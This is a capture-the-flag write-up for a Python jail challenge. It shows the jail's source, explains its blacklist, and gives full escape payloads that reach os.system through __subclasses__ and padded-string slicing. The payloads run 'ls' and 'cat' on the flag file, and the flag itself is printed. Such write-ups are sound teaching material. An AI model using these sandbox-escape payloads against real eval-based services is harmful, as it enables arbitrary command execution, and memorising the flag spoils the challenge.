Misc

Challenge	Link
Monkey's Paw (384 pts)	Here

Monkey's Paw (384 pts)

Description

I wish these modern pyjails would let me use dunders more..

Solution

This challenge is pyjail and the objective is finding the way to do RCE on server through bypassing some blacklist.

#!/usr/local/bin/python3.13 -S

def die():
    print("Don't be greedy")
    exit(1)


def check_code(code):
    to_check = ["co_consts", "co_names",
                "co_varnames", "co_freevars", "co_cellvars"]
    for attr in to_check:
        for obj in getattr(code, attr):
            if type(obj) is not str or \
                    len(obj) < 5 or \
                    obj[:2] + obj[-2:] != '____':
                die()


code = input("Be careful what you wish for: ")
if "\"'" in code:
    die()

code = compile(code, "<string>", "eval")
check_code(code)
eval(code, {'__builtins__': {}})

There are total 5 protection implemented in the code, below is the details (simplified explanation)

• Line 13: The value other then function or attribute can only be string (we can't use integer etc)

• Line 14: The length of all the values should be greater than 4

• Line 15: The value must be consist of __ in the start and in the end

• Line 20: We cannot use the exact "' values

• Line 25: builtins functions are removed

My teammate (daffainfo) send the payload that would be work without the blacklist (1-4).

"().__class__.__base__.__subclasses__()[116].__init__.__builtins__['__import__']('os').__getattribute__('system')('ls')"

My task is converting the payload to make it work with the blacklist. Here is the bypass idea

• To get the integer value we can use __len__()

• To use string values that dont have "__" we can use padding and indext subscribe

And below is the converted payload

• do ls

__builtins__.__class__.__base__.__subclasses__()["____________________________________________________________________________________________________________________".__len__()].__init__.__builtins__['__import__']('______os_____'["______".__len__():"________".__len__()]).__getattribute__('______system_____'["______".__len__():"____________".__len__()])('______ls_____'["______".__len__():"________".__len__()])

• do cat flag_RRkxxMoAAG3mQpoq.txt

__builtins__.__class__.__base__.__subclasses__()["____________________________________________________________________________________________________________________".__len__()].__init__.__builtins__['__import__']('______os_____'["______".__len__():"________".__len__()]).__getattribute__('______system_____'["______".__len__():"____________".__len__()])('______cat flag_RRkxxMoAAG3mQpoq.txt_____'["______".__len__():"___________________________________".__len__()])

Flag: INTIGRITI{y0ur_w15h_w45_6r4n73d_bu7_47_wh47_c057}